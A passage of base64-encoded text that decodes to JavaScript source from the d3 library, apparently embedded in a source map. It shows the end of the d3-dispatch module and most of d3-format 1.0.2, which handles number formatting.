4gICAgY29weTogZnVuY3Rpb24oKSB7XG4gICAgICB2YXIgY29weSA9IHt9LCBfID0gdGhpcy5fO1xuICAgICAgZm9yICh2YXIgdCBpbiBfKSBjb3B5W3RdID0gX1t0XS5zbGljZSgpO1xuICAgICAgcmV0dXJuIG5ldyBEaXNwYXRjaChjb3B5KTtcbiAgICB9LFxuICAgIGNhbGw6IGZ1bmN0aW9uKHR5cGUsIHRoYXQpIHtcbiAgICAgIGlmICgobiA9IGFyZ3VtZW50cy5sZW5ndGggLSAyKSA+IDApIGZvciAodmFyIGFyZ3MgPSBuZXcgQXJyYXkobiksIGkgPSAwLCBuLCB0OyBpIDwgbjsgKytpKSBhcmdzW2ldID0gYXJndW1lbnRzW2kgKyAyXTtcbiAgICAgIGlmICghdGhpcy5fLmhhc093blByb3BlcnR5KHR5cGUpKSB0aHJvdyBuZXcgRXJyb3IoXCJ1bmtub3duIHR5cGU6IFwiICsgdHlwZSk7XG4gICAgICBmb3IgKHQgPSB0aGlzLl9bdHlwZV0sIGkgPSAwLCBuID0gdC5sZW5ndGg7IGkgPCBuOyArK2kpIHRbaV0udmFsdWUuYXBwbHkodGhhdCwgYXJncyk7XG4gICAgfSxcbiAgICBhcHBseTogZnVuY3Rpb24odHlwZSwgdGhhdCwgYXJncykge1xuICAgICAgaWYgKCF0aGlzLl8uaGFzT3duUHJvcGVydHkodHlwZSkpIHRocm93IG5ldyBFcnJvcihcInVua25vd24gdHlwZTogXCIgKyB0eXBlKTtcbiAgICAgIGZvciAodmFyIHQgPSB0aGlzLl9bdHlwZV0sIGkgPSAwLCBuID0gdC5sZW5ndGg7IGkgPCBuOyArK2kpIHRbaV0udmFsdWUuYXBwbHkodGhhdCwgYXJncyk7XG4gICAgfVxuICB9O1xuXG4gIGZ1bmN0aW9uIGdldCh0eXBlLCBuYW1lKSB7XG4gICAgZm9yICh2YXIgaSA9IDAsIG4gPSB0eXBlLmxlbmd0aCwgYzsgaSA8IG47ICsraSkge1xuICAgICAgaWYgKChjID0gdHlwZVtpXSkubmFtZSA9PT0gbmFtZSkge1xuICAgICAgICByZXR1cm4gYy52YWx1ZTtcbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiBzZXQodHlwZSwgbmFtZSwgY2FsbGJhY2spIHtcbiAgICBmb3IgKHZhciBpID0gMCwgbiA9IHR5cGUubGVuZ3RoOyBpIDwgbjsgKytpKSB7XG4gICAgICBpZiAodHlwZVtpXS5uYW1lID09PSBuYW1lKSB7XG4gICAgICAgIHR5cGVbaV0gPSBub29wLCB0eXBlID0gdHlwZS5zbGljZSgwLCBpKS5jb25jYXQodHlwZS5zbGljZShpICsgMSkpO1xuICAgICAgICBicmVhaztcbiAgICAgIH1cbiAgICB9XG4gICAgaWYgKGNhbGxiYWNrICE9IG51bGwpIHR5cGUucHVzaCh7bmFtZTogbmFtZSwgdmFsdWU6IGNhbGxiYWNrfSk7XG4gICAgcmV0dXJuIHR5cGU7XG4gIH1cblxuICBleHBvcnRzLmRpc3BhdGNoID0gZGlzcGF0Y2g7XG5cbiAgT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICdfX2VzTW9kdWxlJywgeyB2YWx1ZTogdHJ1ZSB9KTtcblxufSkpOyIsIi8vIGh0dHBzOi8vZDNqcy5vcmcvZDMtZm9ybWF0LyBWZXJzaW9uIDEuMC4yLiBDb3B5cmlnaHQgMjAxNiBNaWtlIEJvc3RvY2suXG4oZnVuY3Rpb24gKGdsb2JhbCwgZmFjdG9yeSkge1xuICB0eXBlb2YgZXhwb3J0cyA9PT0gJ29iamVjdCcgJiYgdHlwZW9mIG1vZHVsZSAhPT0gJ3VuZGVmaW5lZCcgPyBmYWN0b3J5KGV4cG9ydHMpIDpcbiAgdHlwZW9mIGRlZmluZSA9PT0gJ2Z1bmN0aW9uJyAmJiBkZWZpbmUuYW1kID8gZGVmaW5lKFsnZXhwb3J0cyddLCBmYWN0b3J5KSA6XG4gIChmYWN0b3J5KChnbG9iYWwuZDMgPSBnbG9iYWwuZDMgfHwge30pKSk7XG59KHRoaXMsIGZ1bmN0aW9uIChleHBvcnRzKSB7ICd1c2Ugc3RyaWN0JztcblxuICAvLyBDb21wdXRlcyB0aGUgZGVjaW1hbCBjb2VmZmljaWVudCBhbmQgZXhwb25lbnQgb2YgdGhlIHNwZWNpZmllZCBudW1iZXIgeCB3aXRoXG4gIC8vIHNpZ25pZmljYW50IGRpZ2l0cyBwLCB3aGVyZSB4IGlzIHBvc2l0aXZlIGFuZCBwIGlzIGluIFsxLCAyMV0gb3IgdW5kZWZpbmVkLlxuICAvLyBGb3IgZXhhbXBsZSwgZm9ybWF0RGVjaW1hbCgxLjIzKSByZXR1cm5zIFtcIjEyM1wiLCAwXS5cbiAgZnVuY3Rpb24gZm9ybWF0RGVjaW1hbCh4LCBwKSB7XG4gICAgaWYgKChpID0gKHggPSBwID8geC50b0V4cG9uZW50aWFsKHAgLSAxKSA6IHgudG9FeHBvbmVudGlhbCgpKS5pbmRleE9mKFwiZVwiKSkgPCAwKSByZXR1cm4gbnVsbDsgLy8gTmFOLCDCsUluZmluaXR5XG4gICAgdmFyIGksIGNvZWZmaWNpZW50ID0geC5zbGljZSgwLCBpKTtcblxuICAgIC8vIFRoZSBzdHJpbmcgcmV0dXJuZWQgYnkgdG9FeHBvbmVudGlhbCBlaXRoZXIgaGFzIHRoZSBmb3JtIFxcZFxcLlxcZCtlWy0rXVxcZCtcbiAgICAvLyAoZS5nLiwgMS4yZSszKSBvciB0aGUgZm9ybSBcXGRlWy0rXVxcZCsgKGUuZy4sIDFlKzMpLlxuICAgIHJldHVybiBbXG4gICAgICBjb2VmZmljaWVudC5sZW5ndGggPiAxID8gY29lZmZpY2llbnRbMF0gKyBjb2VmZmljaWVudC5zbGljZSgyKSA6IGNvZWZmaWNpZW50LFxuICAgICAgK3guc2xpY2UoaSArIDEpXG4gICAgXTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGV4cG9uZW50KHgpIHtcbiAgICByZXR1cm4geCA9IGZvcm1hdERlY2ltYWwoTWF0aC5hYnMoeCkpLCB4ID8geFsxXSA6IE5hTjtcbiAgfVxuXG4gIGZ1bmN0aW9uIGZvcm1hdEdyb3VwKGdyb3VwaW5nLCB0aG91c2FuZHMpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24odmFsdWUsIHdpZHRoKSB7XG4gICAgICB2YXIgaSA9IHZhbHVlLmxlbmd0aCxcbiAgICAgICAgICB0ID0gW10sXG4gICAgICAgICAgaiA9IDAsXG4gICAgICAgICAgZyA9IGdyb3VwaW5nWzBdLFxuICAgICAgICAgIGxlbmd0aCA9IDA7XG5cbiAgICAgIHdoaWxlIChpID4gMCAmJiBnID4gMCkge1xuICAgICAgICBpZiAobGVuZ3RoICsgZyArIDEgPiB3aWR0aCkgZyA9IE1hdGgubWF4KDEsIHdpZHRoIC0gbGVuZ3RoKTtcbiAgICAgICAgdC5wdXNoKHZhbHVlLnN1YnN0cmluZyhpIC09IGcsIGkgKyBnKSk7XG4gICAgICAgIGlmICgobGVuZ3RoICs9IGcgKyAxKSA+IHdpZHRoKSBicmVhaztcbiAgICAgICAgZyA9IGdyb3VwaW5nW2ogPSAoaiArIDEpICUgZ3JvdXBpbmcubGVuZ3RoXTtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIHQucmV2ZXJzZSgpLmpvaW4odGhvdXNhbmRzKTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gZm9ybWF0RGVmYXVsdCh4LCBwKSB7XG4gICAgeCA9IHgudG9QcmVjaXNpb24ocCk7XG5cbiAgICBvdXQ6IGZvciAodmFyIG4gPSB4Lmxlbmd0aCwgaSA9IDEsIGkwID0gLTEsIGkxOyBpIDwgbjsgKytpKSB7XG4gICAgICBzd2l0Y2ggKHhbaV0pIHtcbiAgICAgICAgY2FzZSBcIi5cIjogaTAgPSBpMSA9IGk7IGJyZWFrO1xuICAgICAgICBjYXNlIFwiMFwiOiBpZiAoaTAgPT09IDApIGkwID0gaTsgaTEgPSBpOyBicmVhaztcbiAgICAgICAgY2FzZSBcImVcIjogYnJlYWsgb3V0O1xuICAgICAgICBkZWZhdWx0OiBpZiAoaTAgPiAwKSBpMCA9IDA7IGJyZWFrO1xuICAgICAgfVxuICAgIH1cblxuICAgIHJldHVybiBpMCA+IDAgPyB4LnNsaWNlKDAsIGkwKSArIHguc2xpY2UoaTEgKyAxKSA6IHg7XG4gIH1cblxuICB2YXIgcHJlZml4RXhwb25lbnQ7XG5cbiAgZnVuY3Rpb24gZm9ybWF0UHJlZml4QXV0byh4LCBwKSB7XG4gICAgdmFyIGQgPSBmb3JtYXREZWNpbWFsKHgsIHApO1xuICAgIGlmICghZCkgcmV0dXJuIHggKyBcIlwiO1xuICAgIHZhciBjb2VmZmljaWVudCA9IGRbMF0sXG4gICAgICAgIGV4cG9uZW50ID0gZFsxXSxcbiAgICAgICAgaSA9IGV4cG9uZW50IC0gKHByZWZpeEV4cG9uZW50ID0gTWF0aC5tYXgoLTgsIE1hdGgubWluKDgsIE1hdGguZmxvb3IoZXhwb25lbnQgLyAzKSkpICogMykgKyAxLFxuICAgICAgICBuID0gY29lZmZpY2llbnQubGVuZ3RoO1xuICAgIHJldHVybiBpID09PSBuID8gY29lZmZpY2llbnRcbiAgICAgICAgOiBpID4gbiA/IGNvZWZmaWNpZW50ICsgbmV3IEFycmF5KGkgLSBuICsgMSkuam9pbihcIjBcIilcbiAgICAgICAgOiBpID4gMCA/IGNvZWZmaWNpZW50LnNsaWNlKDAsIGkpICsgXCIuXCIgKyBjb2VmZmljaWVudC5zbGljZShpKVxuICAgICAgICA6IFwiMC5cIiArIG5ldyBBcnJheSgxIC0gaSkuam9pbihcIjBcIikgKyBmb3JtYXREZWNpbWFsKHgsIE1hdGgubWF4KDAsIHAgKyBpIC0gMSkpWzBdOyAvLyBsZXNzIHRoYW4gMXkhXG4gIH1cblxuICBmdW5jdGlvbiBmb3JtYXRSb3VuZGVkKHgsIHApIHtcbiAgICB2YXIgZCA9IGZvcm1hdERlY2ltYWwoeCwgcCk7XG4gICAgaWYgKCFkKSByZXR1cm4geCArIFwiXCI7XG4gICAgdmFyIGNvZWZmaWNpZW50ID0gZFswXSxcbiAgICAgICAgZXhwb25lbnQgPSBkWzFdO1xuICAgIHJldHVybiBleHBvbmVudCA8IDAgPyBcIjAuXCIgKyBuZXcgQXJyYXkoLWV4cG9uZW50KS5qb2luKFwiMFwiKSArIGNvZWZmaWNpZW50XG4gICAgICAgIDogY29lZmZpY2llbnQubGVuZ3RoID4gZXhwb25lbnQgKyAxID8gY29lZmZpY2llbnQuc2xpY2UoMCwgZXhwb25lbnQgKyAxKSArIFwiLlwiICsgY29lZmZpY2llbnQuc2xpY2UoZXhwb25lbnQgKyAxKVxuICAgICAgICA6IGNvZWZmaWNpZW50ICsgbmV3IEFycmF5KGV4cG9uZW50IC0gY29lZmZpY2llbnQubGVuZ3RoICsgMikuam9pbihcIjBcIik7XG4gIH1cblxuICB2YXIgZm9ybWF0VHlwZXMgPSB7XG4gICAgXCJcIjogZm9ybWF0RGVmYXVsdCxcbiAgICBcIiVcIjogZnVuY3Rpb24oeCwgcCkgeyByZXR1cm4gKHggKiAxMDApLnRvRml4ZWQocCk7IH0sXG4gICAgXCJiXCI6IGZ1bmN0aW9uKHgpIHsgcmV0dXJuIE1hdGgucm91bmQoeCkudG9TdHJpbmcoMik7IH0sXG4gICAgXCJjXCI6IGZ1bmN0aW9uKHgpIHsgcmV0dXJuIHggKyBcIlwiOyB9LFxuICAgIFwiZFwiOiBmdW5jdGlvbih4KSB7IHJldHVybiBNYXRoLnJvdW5kKHgpLnRvU3RyaW5nKDEwKTsgfSxcbiAgICBcImVcIjogZnVuY3Rpb24oeCwgcCkgeyByZXR1cm4geC50b0V4cG9uZW50aWFsKHApOyB9LFxuICAgIFwiZlwiOiBmdW5jdGlvbih4LCBwKSB7IHJldHVybiB4LnRvRml4ZWQocCk7IH0sXG4gICAgXCJnXCI6IGZ1bmN0aW9uKHgsIHApIHsgcmV0dXJuIHgudG9QcmVjaXNpb24ocCk7IH0sXG4gICAgXCJvXCI6IGZ1bmN0aW9uKHgpIHsgcmV0dXJuIE1hdGgucm91bmQoeCkudG9TdHJpbmcoOCk7IH0sXG4gICAgXCJwXCI6IGZ1bmN0aW9uKHgsIHApIHsgcmV0dXJuIGZvcm1hdFJvdW5kZWQoeCAqIDEwMCwgcCk7IH0sXG4gICAgXCJyXCI6IGZvcm1hdFJvdW5kZWQsXG4gICAgXCJzXCI6IGZvcm1hdFByZWZpeEF1dG8sXG4gICAgXCJYXCI6IGZ1bmN0aW9uKHgpIHsgcmV0dXJuIE1hdGgucm91bmQoeCkudG9TdHJpbmcoMTYpLnRvVXBwZXJDYXNlKCk7IH0sXG4gICAgXCJ4XCI6IGZ1bmN0aW9uKHgpIHsgcmV0dXJuIE1hdGgucm91bmQoeCkudG9TdHJpbmcoMTYpOyB9XG4gIH07XG5cbiAgLy8gW1tmaWxsXWFsaWduXVtzaWduXVtzeW1ib2xdWzBdW3dpZHRoXVssXVsucHJlY2lzaW9uXVt0eXBlXVxuICB2YXIgcmUgPSAvXig/OiguKT8oWzw+PV5dKSk/KFsrXFwtXFwoIF0pPyhbJCNdKT8oMCk/KFxcZCspPygsKT8oXFwuXFxkKyk/KFthLXolXSk/JC9pO1xuXG4gIGZ1bmN0aW9uIGZvcm1hdFNwZWNpZmllcihzcGVjaWZpZXIpIHtcbiAgICByZXR1cm4gbmV3IEZvcm1hdFNwZWNpZmllcihzcGVjaWZpZXIpO1xuICB9XG5cbiAgZnVuY3Rpb24gRm9ybWF0U3BlY2lmaWVyKHNwZWNpZmllcikge1xuICAgIGlmICghKG1hdGNoID0gcmUuZXhlYyhzcGVjaWZpZXIpKSkgdGhyb3cgbmV3IEVycm9yKFwiaW52YWxpZCBmb3JtYXQ6IFwiICsgc3BlY2lmaWVyKTtcblxuICAgIHZhciBtYXRjaCxcbiAgICAgICAgZmlsbCA9IG1hdGNoWzFdIHx8IFwiIFwiLFxuICAgICAgICBhbGlnbiA9IG1hdGNoWzJdIHx8IFwiPlwiLFxuICAgICAgICBzaWduID0gbWF0Y2hbM10gfHwgXCItXCIsXG4gICAgICAgIHN5bWJvbCA9IG1hdGNoWzRdIHx8IFwiXCIsXG4gICAgICAgIHplcm8gPSAhIW1hdGNoWzVdLFxuICAgICAgICB3aWR0aCA9IG1hdGNoWzZdICYmICttYXRjaFs2XSxcbiAgICAgICAgY29tbWEgPSAhIW1hdGNoWzddLFxuICAgICAgICBwcmVjaXNpb24gPSBtYXRjaFs4XSAmJiArbWF0Y2hbOF0uc2xpY2UoMSksXG4gICAgICAgIHR5cGUgPSBtYXRjaFs5XSB8fCBcIlwiO1xuXG4gICAgLy8gVGhlIFwiblwiIHR5cGUgaXMgYW4gYWxpYXMgZm9yIFwiLGdcIi5cbiAgICBpZiAodHlwZSA9PT0gXCJuXCIpIGNvbW1hID0gdHJ1ZSwgdHlwZSA9IFwiZ1wiO1xuXG4gICAgLy8gTWFwIGludmFsaWQgdHlwZXMgdG8gdGhlIGRlZmF1bHQgZm9ybWF0LlxuICAgIGVsc2UgaWYgKCFmb3JtYXRUeXBlc1t0eXBlXSkgdHlwZSA9IFwiXCI7XG5cbiAgICAvLyBJZiB6ZXJvIGZpbGwgaXMgc3BlY2lmaWVkLCBwYWRkaW5nIGdvZXMgYWZ0ZXIgc2lnbiBhbmQgYmVmb3JlIGRpZ2l0cy5cbiAgICBpZiAoemVybyB8fCAoZmlsbCA9PT0gXCIwXCIgJiYgYWxpZ24gPT09IFwiPVwiKSkgemVybyA9IHRydWUsIGZpbGwgPSBcIjBcIiwgYWxpZ24gPSBcIj1cIjtcblxuICAgIHRoaXMuZmlsbCA9IGZpbGw7XG4gICAgdGhpcy5hbGlnbiA9IGFsaWduO1xuICAgIHRoaXMuc2lnbiA9IHNpZ247XG4gICAgdGhpcy5zeW1ib2wgPSBzeW1ib2w7XG4gICAgdGhpcy56ZXJvID0gemVybztcbiAgICB0aGlzLndpZHRoID0gd2lkdGg7XG4gICAgdGhpcy5jb21tYSA9IGNvbW1hO1xuICAgIHRoaXMucHJlY2lzaW9uID0gcHJlY2lzaW9uO1xuICAgIHRoaXMudHlwZSA9IHR5cGU7XG4gIH1cblxuICBGb3JtYXRTcGVjaWZpZXIucHJvdG90eXBlLnRvU3RyaW5nID0gZnVuY3Rpb24oKSB7XG4gICAgcmV0dXJuIHRoaXMuZmlsbFxuICAgICAgICArIHRoaXMuYWxpZ25cbiAgICAgICAgKyB0aGlzLnNpZ25cbiAgICAgICAgKyB0aGlzLnN5bWJvbFxuICAgICAgICArICh0aGlzLnplcm8gPyBcIjBcIiA6IFwiXCIpXG4gICAgICAgICsgKHRoaXMud2lkdGggPT0gbnVsbCA/IFwiXCIgOiBNYXRoLm1heCgxLCB0aGlzLndpZHRoIHwgMCkpXG4gICAgICAgICsgKHRoaXMuY29tbWEgPyBcIixcIiA6IFwiXCIpXG4gICAgICAgICsgKHRoaXMucHJlY2lzaW9uID09IG51bGwgPyBcIlwiIDogXCIuXCIgKyBNYXRoLm1heCgwLCB0aGlzLnByZWNpc2lvbiB8IDApKVxuICAgICAgICArIHRoaXMudHlwZTtcbiAgfTtcblxuICB2YXIgcHJlZml4ZXMgPSBbXCJ5XCIsXCJ6XCIsXCJhXCIsXCJmXCIsXCJwXCIsXCJuXCIsXCLCtVwiLFwibVwiLFwiXCIsXCJrXCIsXCJNXCIsXCJHXCIsXCJUXCIsXCJQXCIsXCJFXCIsXCJaXCIsXCJZXCJdO1xuXG4gIGZ1bmN0aW9uIGlkZW50aXR5KHgpIHtcbiAgICByZXR1cm4geDtcbiAgfVxuXG4gIGZ1bmN0aW9uIGZvcm1hdExvY2FsZShsb2NhbGUpIHtcbiAgICB2YXIgZ3JvdXAgPSBsb2NhbGUuZ3JvdXBpbmcgJiYgbG9jYWxlLnRob3VzYW5kcyA/IGZvcm1hdEdyb3VwKGxvY2FsZS5ncm91cGluZywgbG9jYWxlLnRob3VzYW5kcykgOiBpZGVudGl0eSxcbiAgICAgICAgY3VycmVuY3kgPSBsb2NhbGUuY3VycmVuY3ksXG4gICAgICAgIGRlY2ltYWwgPSBsb2NhbGUuZGVjaW1hbDtcblxuICAgIGZ1bmN0aW9uIG5ld0Zvcm1hdChzcGVjaWZpZXIpIHtcbiAgICAgIHNwZWNpZmllciA9IGZvcm1hdFNwZWNpZmllcihzcGVjaWZpZXIpO1xuXG4gICAgICB2YXIgZmlsbCA9IHNwZWNpZmllci5maWxsLFxuICAgICAgICAgIGFsaWduID0gc3BlY2lmaWVyLmFsaWduLFxuICAgICAgICAgIHNpZ24gPSBzcGVjaWZpZXIuc2lnbixcbiAgICAgICAgICBzeW1ib2wgPSBzcGVjaWZpZXIuc3ltYm9sLFxuICAgICAgICAgIHplcm8gPSBzcGVjaWZpZXIuemVybyxcbiAgICAgICAgICB3aWR0aCA9IHNwZWNpZmllci53aWR0aCxcbiAgICAgICAgICBjb21tYSA9IHNwZWNpZmllci5jb21tYSxcbiAgICAgICAgICBwcmVjaXNpb24gPSBzcGVjaWZpZXIucHJlY2lzaW9uLFxuICAgICAgICAgIHR5cGUgPSBzcGVjaWZpZXIudHlwZTtcblxuICAgICAgLy8gQ29tcHV0ZSB0aGUgcHJlZml4IGFuZCBzdWZmaXguXG4gICAgICAvLyBGb3IgU0ktcHJlZml4LCB0aGUgc3VmZml4IGlzIGxhemlseSBjb21wdXRlZC5cbiAgICAgIHZhciBwcmVmaXggPSBzeW1ib2wgPT09IFwiJFwiID8gY3VycmVuY3lbMF0gOiBzeW1ib2wgPT09IFwiI1wiICYmIC9bYm94WF0vLnRlc3QodHlwZSkgPyBcIjBcIiArIHR5cGUudG9Mb3dlckNhc2UoKSA6IFwiXCIsXG4gICAgICAgICAgc3VmZml4ID0gc3ltYm9sID09PSBcIiRcIiA/IGN1cnJlbmN5WzFdIDogL1slcF0vLnRlc3QodHlwZSkgPyBcIiVcIiA6IFwiXCI7XG5cbiAgICAgIC8vIFdoYXQgZm9ybWF0IGZ1bmN0aW9uIHNob3VsZCB3ZSB1c2U/XG4gICAgICAvLyBJcyB0aGlzIGFuIGludGVnZXIgdHlwZT9cbiAgICAgIC8vIENhbiB0aGlzIHR5cGUgZ2VuZXJhdGUgZXhwb25lbnRpYWwgbm90YXRpb24/XG4gICAgICB2YXIgZm9ybWF0VHlwZSA9IGZvcm1hdFR5cGVzW3R5cGVdLFxuICAgICAgICAgIG1heWJlU3VmZml4ID0gIXR5cGUgfHwgL1tkZWZncHJzJV0vLnRlc3QodHlwZSk7XG5cbiAgICAgIC8vIFNldCB0aGUgZGVmYXVsdCBwcmVjaXNpb24gaWYgbm90IHNwZWNpZmllZCxcbiAgICAgIC8vIG9yIGNsYW1wIHRoZSBzcGVjaWZpZWQgcHJlY2lzaW9uIHRvIHRoZSBzdXBwb3J0ZWQgcmFuZ2UuXG4gICAgICAvLyBGb3Igc2lnbmlmaWNhbnQgcHJlY2lzaW9uLCBpdCBtdXN0IGJlIGluIFsxLCAyMV0uXG4gICAgICAvLyBGb3IgZml4ZWQgcHJlY2lzaW9uLCBpdCBtdXN0IGJlIGluIFswLCAyMF0uXG4gICAgICBwcmVjaXNpb24gPSBwcmVjaXNpb24gPT0gbnVsbCA/ICh0eXBlID8gNiA6IDEyKVxuICAgICAgICAgIDogL1tncHJzXS8udGVzdCh0eXBlKSA/IE1hdGgubWF4KDEsIE1hdGgubWluKDIxLCBwcmVjaXNpb24pKVxuICAgICAgICAgIDogTWF0aC5tYXgoMCwgTWF0aC5taW4oMjAsIHByZWNpc2lvbikpO1xuXG4gICAgICBmdW5jdGlvbiBmb3JtYXQodmFsdWUpIHtcbiAgICAgICAgdmFyIHZhbHVlUHJlZml4ID0gcHJlZml4LFxuICAgICAgICAgICAgdmFsdWVTdWZmaXggPSBzdWZmaXgsXG4gICAgICAgICAgICBpLCBuLCBjO1xuXG4gICAgICAgIGlmICh0eXBlID09PSBcImNcIikge1xuICAgICAgICAgIHZhbHVlU3VmZml4ID0gZm9ybWF0VHlwZSh2YWx1ZSkgKyB2YWx1ZVN1ZmZpeDtcbiAgICAgICAgICB2YWx1ZSA9IFwiXCI7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgdmFsdWUgPSArdmFsdWU7XG5cbiAgICAgICAgICAvLyBDb252ZXJ0IG5lZ2F0aXZlIHRvIHBvc2l0aXZlLCBhbmQgY29tcHV0ZSB0aGUgcHJlZml4LlxuICAgICAgICAgIC8vIE5vdGUgdGhhdCAtMCBpcyBub3QgbGVzcyB0aGFuIDAsIGJ1dCAxIC8gLTAgaXMhXG4gICAgICAgICAgdmFyIHZhbHVlTmVnYXRpdmUgPSAodmFsdWUgPCAwIHx8IDEgLyB2YWx1ZSA8IDApICYmICh2YWx1ZSAqPSAtMSwgdHJ1ZSk7XG5cbiAgICAgICAgICAvLyBQZXJmb3JtIHRoZSBpbml0aWFsIGZvcm1hdHRpbmcuXG4gICAgICAgICAgdmFsdWUgPSBmb3JtYXRUeXBlKHZhbHVlLCBwcmVjaXNpb24pO1xuXG4gICAgICAgICAgLy8gSWYgdGhlIG9yaWdpbmFsIHZhbHVlIHdhcyBuZWdhdGl2ZSwgaXQgbWF5IGJlIHJvdW5kZWQgdG8gemVybyBkdXJpbmdcbiAgICAgICAgICAvLyBmb3JtYXR0aW5nOyB0cmVhdCB0aGlzIGFzIChwb3NpdGl2ZSkgemVyby5cbiAgICAgICAgICBpZiAodmFsdWVOZWdhdGl2ZSkge1xuICAgICAgICAgICAgaSA9IC0xLCBuID0gdmFsdWUubGVuZ3RoO1xuICAgICAgICAgICAgdmFsdWVOZWdhdGl2ZSA9IGZhbHNlO1xuICAgICAgICAgICAgd2hpbGUgKCsraSA8IG4pIHtcbiAgICAgICAgICAgICAgaWYgKGMgPSB2YWx1ZS5jaGFyQ29kZUF0KGkpLCAoNDggPCBjICYmIGMgPCA1OClcbiAgICAgICAgICAgICAgICAgIHx8ICh0eXBlID09PSBcInhcIiAmJiA5NiA8IGMgJiYgYyA8IDEwMylcbiAgICAgICAgICAgICAgICAgIHx8ICh0eXBlID09PSBcIlhcIiAmJiA2NCA8IGMgJiYgYyA8IDcxKSkge1xuICAgICAgICAgICAgICAgIHZhbHVlTmVnYXRpdmUgPSB0cnVlO1xuICAgICAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuXG4gICAgICAgICAgLy8gQ29tcHV0ZSB0aGUgcHJlZml4IGFuZCBzdWZmaXguXG4gICAgICAgICAgdmFsdWVQcmVmaXggPSAodmFsdWVOZWdhdGl2ZSA/IChzaWduID09PSBcIihcIiA/IHNpZ24gOiBcIi1cIikgOiBzaWduID09PSBcIi1cIiB8fCBzaWduID09PSBcIihcIiA/IFwiXCIgOiBzaWduKSArIHZhbHVlUHJlZml4O1xuICAgICAgICAgIHZhbHVlU3VmZml4ID0gdmFsdWVTdWZmaXggKyAodHlwZSA9PT0gXCJzXCIgPyBwcmVmaXhlc1s4ICsgcHJlZml4RXhwb25lbnQgLyAzXSA6IFwiXCIpICsgKHZhbHVlTmVnYXRpdmUgJiYgc2lnbiA9PT0gXCIoXCIgPyBcIilcIiA6IFwiXCIpO1xuXG4gICAgICAgICAgLy8gQnJlYWsgdGhlIGZvcm1hdHRlZCB2YWx1ZSBpbnRvIHRoZSBpbnRlZ2VyIOKAnHZhbHVl4oCdIHBhcnQgdGhhdCBjYW4gYmVcbiAgICAgICAgICAvLyBncm91cGVkLCBhbmQgZnJhY3Rpb25hbCBvciBleHBvbmVudGlhbCDigJxzdWZmaXjigJ0gcGFydCB0aGF0IGlzIG5vdC5cbiAgICAgICAgICBpZiAobWF5YmVTdWZmaXgpIHtcbiAgICAgICAgICAgIGkgPSAtMSwgbiA9IHZhbHVlLmxlbmd0aDtcbiAgICAgICAgICAgIHdoaWxlICgrK2kgPCBuKSB7XG4gICAgICAgICAgICAgIGlmIChjID0gdmFsdWUuY2hhckNvZGVBdChpKSwgNDggPiBjIHx8IGMgPiA1Nykge1xuICAgICAgICAgICAgICAgIHZhbHVlU3VmZml4ID0gKGMgPT09IDQ2ID8gZGVjaW1hbCArIHZhbHVlLnNsaWNlKGkgKyAxKSA6IHZhbHVlLnNsaWNlKGkpKSArIHZhbHVlU3VmZml4O1xuICAgICAgICAgICAgICAgIHZhbHVlID0gdmFsdWUuc2xpY2UoMCwgaSk7XG4gICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICAvLyBJZiB0aGUgZmlsbCBjaGFyYWN0ZXIgaXMgbm90IFwiMFwiLCBncm91cGluZyBpcyBhcHBsaWVkIGJlZm9yZSBwYWRkaW5nLlxuICAgICAgICBpZiAoY29tbWEgJiYgIXplcm8pIHZhbHVlID0gZ3JvdXAodmFsdWUsIEluZmluaXR5KTtcblxuICAgICAgICAvLyBDb21wdXRlIHRoZSBwYWRkaW5nLlxuICAgICAgICB2YXIgbGVuZ3RoID0gdmFsdWVQcmVmaXgubGVuZ3RoICsgdmFsdWUubGVuZ3RoICsgdmFsdWVTdWZmaXgubGVuZ3RoLFxuICAgICAgICAgICAgcGFkZGluZyA9IGxlbmd0aCA8IHdpZHRoID8gbmV3IEFycmF5KHdpZHRoIC0gbGVuZ3RoICsgMSkuam9pbihmaWxsKSA6IFwiXCI7XG5cbiAgICAgICAgLy8gSWYgdGhlIGZpbGwgY2hhcmFjdGVyIGlzIFwiMFwiLCBncm91cGluZyBpcyBhcHBsaWVkIGFmdGVyIHBhZGRpbmcuXG4gICAgICAgIGlmIChjb21tYSAmJiB6ZXJvKSB2YWx1ZSA9IGdyb3VwKHBhZGRpbmcgKyB2YWx1ZSwgcGFkZGluZy5sZW5ndGggPyB3aWR0aCAtIHZhbHVlU3VmZml4Lmxlbmd0aCA6IEluZmluaXR5KSwgcGFkZGluZyA9IFwiXCI7XG5cbiAgICAgICAgLy8gUmVjb25zdHJ1Y3QgdGhlIGZpbmFsIG91dHB1dCBiYXNlZCBvbiB0aGUgZGVzaXJlZCBhbGlnbm1lbnQuXG4gICAgICAgIHN3aXRjaCAoYWxpZ24pIHtcbiAgICAgICAgICBjYXNlIFwiPFwiOiByZXR1cm4gdmFsdWVQcmVmaXggKyB2YWx1ZSArIHZhbHVlU3VmZml4ICsgcGFkZGluZztcbiAgICAgICAgICBjYXNlIFwiPVwiOiByZXR1cm4gdmFsdWVQcmVmaXggKyBwYWRkaW5nICsgdmFsdWUgKyB2YWx1ZVN1ZmZpeDtcbiAgICAgICAgICBjYXNlIFwiXlwiOiByZXR1cm4gcGFkZGluZy5zbGljZSgwLCBsZW5ndGggPSBwYWRkaW5nLmxlbmd0aCA+PiAxKSArIHZhbHVlUHJlZml4ICsgdmFsdWUgKyB2YWx1ZVN1ZmZpeCArIHBhZGRpbmcuc2xpY2UobGVuZ3RoKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gcGFkZGluZyArIHZhbHVlUHJlZml4ICsgdmFsdWUgKyB2YWx1ZVN1ZmZpeDtcbiAgICAgIH1cblxuICAgICAgZm9ybWF0LnRvU3RyaW5nID0gZnVuY3Rpb24oKSB7XG4gICAgICAgIHJldHVybiBzcGVjaWZpZXIgKyBcIlwiO1xuICAgICAgfTtcblxuICAgICAgcmV0dXJuIGZvcm1hdDtcbiAgICB9XG5cbiAgICBmdW5jdGlvbiBmb3J